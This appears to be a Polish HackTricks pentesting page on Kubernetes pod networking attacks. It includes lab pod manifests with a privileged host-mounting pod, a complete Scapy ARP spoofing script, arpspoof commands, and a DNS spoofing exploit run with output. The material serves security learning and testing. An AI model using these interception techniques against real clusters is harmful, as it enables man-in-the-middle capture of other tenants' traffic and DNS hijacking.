Kubernetes Network Attacks

Support HackTricks

Wprowadzenie

W Kubernetes zaobserwowano, że domyślne zachowanie pozwala na nawiązywanie połączeń między wszystkimi kontenerami znajdującymi się na tym samym węźle. Dotyczy to niezależnie od różnic w przestrzeniach nazw. Taka łączność sięga Warstwy 2 (Ethernet). W konsekwencji, ta konfiguracja potencjalnie naraża system na luki w zabezpieczeniach. Konkretnie, otwiera możliwość dla złośliwego kontenera do przeprowadzenia ataku ARP spoofing przeciwko innym kontenerom znajdującym się na tym samym węźle. Podczas takiego ataku, złośliwy kontener może oszukańczo przechwycić lub zmodyfikować ruch sieciowy przeznaczony dla innych kontenerów.

Ataki ARP spoofing polegają na tym, że napastnik wysyła fałszywe wiadomości ARP (Address Resolution Protocol) w lokalnej sieci. Skutkuje to powiązaniem adresu MAC napastnika z adresem IP legalnego komputera lub serwera w sieci. Po pomyślnym przeprowadzeniu takiego ataku, napastnik może przechwytywać, modyfikować lub nawet zatrzymywać dane w tranzycie. Atak jest realizowany na Warstwie 2 modelu OSI, dlatego domyślna łączność w Kubernetes na tej warstwie budzi obawy dotyczące bezpieczeństwa.

W scenariuszu zostaną utworzone 4 maszyny:

  • ubuntu-pe: Maszyna z uprawnieniami do ucieczki do węzła i sprawdzania metryk (niepotrzebna do ataku)

  • ubuntu-attack: Złośliwy kontener w domyślnej przestrzeni nazw

  • ubuntu-victim: Ofiara maszyna w przestrzeni nazw kube-system

  • mysql: Ofiara maszyna w domyślnej przestrzeni nazw

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Podstawowe Sieciowanie Kubernetes

Jeśli chcesz uzyskać więcej szczegółów na temat wprowadzonych tutaj tematów sieciowych, przejdź do odniesień.

ARP

Ogólnie rzecz biorąc, sieciowanie podów wewnątrz węzła jest dostępne za pośrednictwem mostu, który łączy wszystkie pody. Ten most nazywa się “cbr0”. (Niektóre wtyczki sieciowe zainstalują własny most.) cbr0 może również obsługiwać ARP (Protokół Rozwiązywania Adresów). Gdy przychodzący pakiet dociera do cbr0, może rozwiązać docelowy adres MAC za pomocą ARP.

Fakt ten implikuje, że domyślnie każdy pod działający w tym samym węźle będzie mógł komunikować się z każdym innym pod w tym samym węźle (niezależnie od przestrzeni nazw) na poziomie ethernetowym (warstwa 2).

Dlatego możliwe jest przeprowadzenie ataków ARP Spoofing między podami w tym samym węźle.

DNS

W środowiskach kubernetes zazwyczaj znajdziesz 1 (lub więcej) usług DNS działających zazwyczaj w przestrzeni nazw kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

W poprzednich informacjach możesz zobaczyć coś interesującego, IP usługi to 10.96.0.10, ale IP poda uruchamiającego usługę to 172.17.0.2.

Jeśli sprawdzisz adres DNS wewnątrz dowolnego poda, znajdziesz coś takiego:

cat /etc/resolv.conf
nameserver 10.96.0.10

Jednak pod nie wie, jak dotrzeć do tego adresu, ponieważ zakres podów w tym przypadku to 172.17.0.10/26.

Dlatego pod wyśle żądania DNS do adresu 10.96.0.10, które zostaną przetłumaczone przez cbr0 na 172.17.0.2.

Oznacza to, że żądanie DNS poda zawsze będzie kierowane do mostu, aby przetłumaczyć adres IP usługi na adres IP punktu końcowego, nawet jeśli serwer DNS znajduje się w tej samej podsieci co pod.

Znając to i wiedząc, że ataki ARP są możliwe, pod w węźle będzie w stanie przechwycić ruch między każdym podem w podsieci a mostem oraz zmodyfikować odpowiedzi DNS z serwera DNS (DNS Spoofing).

Ponadto, jeśli serwer DNS znajduje się w tym samym węźle co atakujący, atakujący może przechwycić wszystkie żądania DNS dowolnego poda w klastrze (między serwerem DNS a mostem) i zmodyfikować odpowiedzi.

ARP Spoofing w podach w tym samym węźle

Naszym celem jest ukraść przynajmniej komunikację z ubuntu-victim do mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Jak już wspomniano, jeśli skompromitujesz pod w tym samym węźle co pod serwera DNS, możesz MitM z ARPSpoofing mostu i podu DNS oraz zmodyfikować wszystkie odpowiedzi DNS.

Masz naprawdę fajne narzędzie i samouczek do przetestowania tego w https://github.com/danielsagi/kube-dnsspoof/

W naszym scenariuszu, pobierz narzędzie w podzie atakującym i stwórz plik o nazwie hosts z domenami, które chcesz spoofować, takie jak:

cat hosts
google.com. 1.1.1.1

Wykonaj atak na maszynę ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Jeśli spróbujesz stworzyć własny skrypt do spoofingu DNS, jeśli po prostu zmodyfikujesz odpowiedź DNS, to nie zadziała, ponieważ odpowiedź będzie miała src IP adres IP złośliwego podu i nie będzie zaakceptowana. Musisz wygenerować nowy pakiet DNS z src IP DNS, do którego ofiara wysyła zapytanie DNS (coś w rodzaju 172.16.0.2, a nie 10.96.0.10, to jest adres IP usługi DNS K8s, a nie adres IP serwera DNS, więcej na ten temat w wprowadzeniu).

Przechwytywanie ruchu

Narzędzie Mizu to prosty, ale potężny wyświetlacz ruchu API dla Kubernetes, który umożliwia oglądanie całej komunikacji API między mikroserwisami, aby pomóc w debugowaniu i rozwiązywaniu problemów. Zainstaluje agenty w wybranych podach i zbierze informacje o ich ruchu, a następnie wyświetli je na serwerze WWW. Jednak będziesz potrzebować wysokich uprawnień K8s do tego (i nie jest to zbyt dyskretne).

Odniesienia

Wsparcie dla HackTricks

Last updated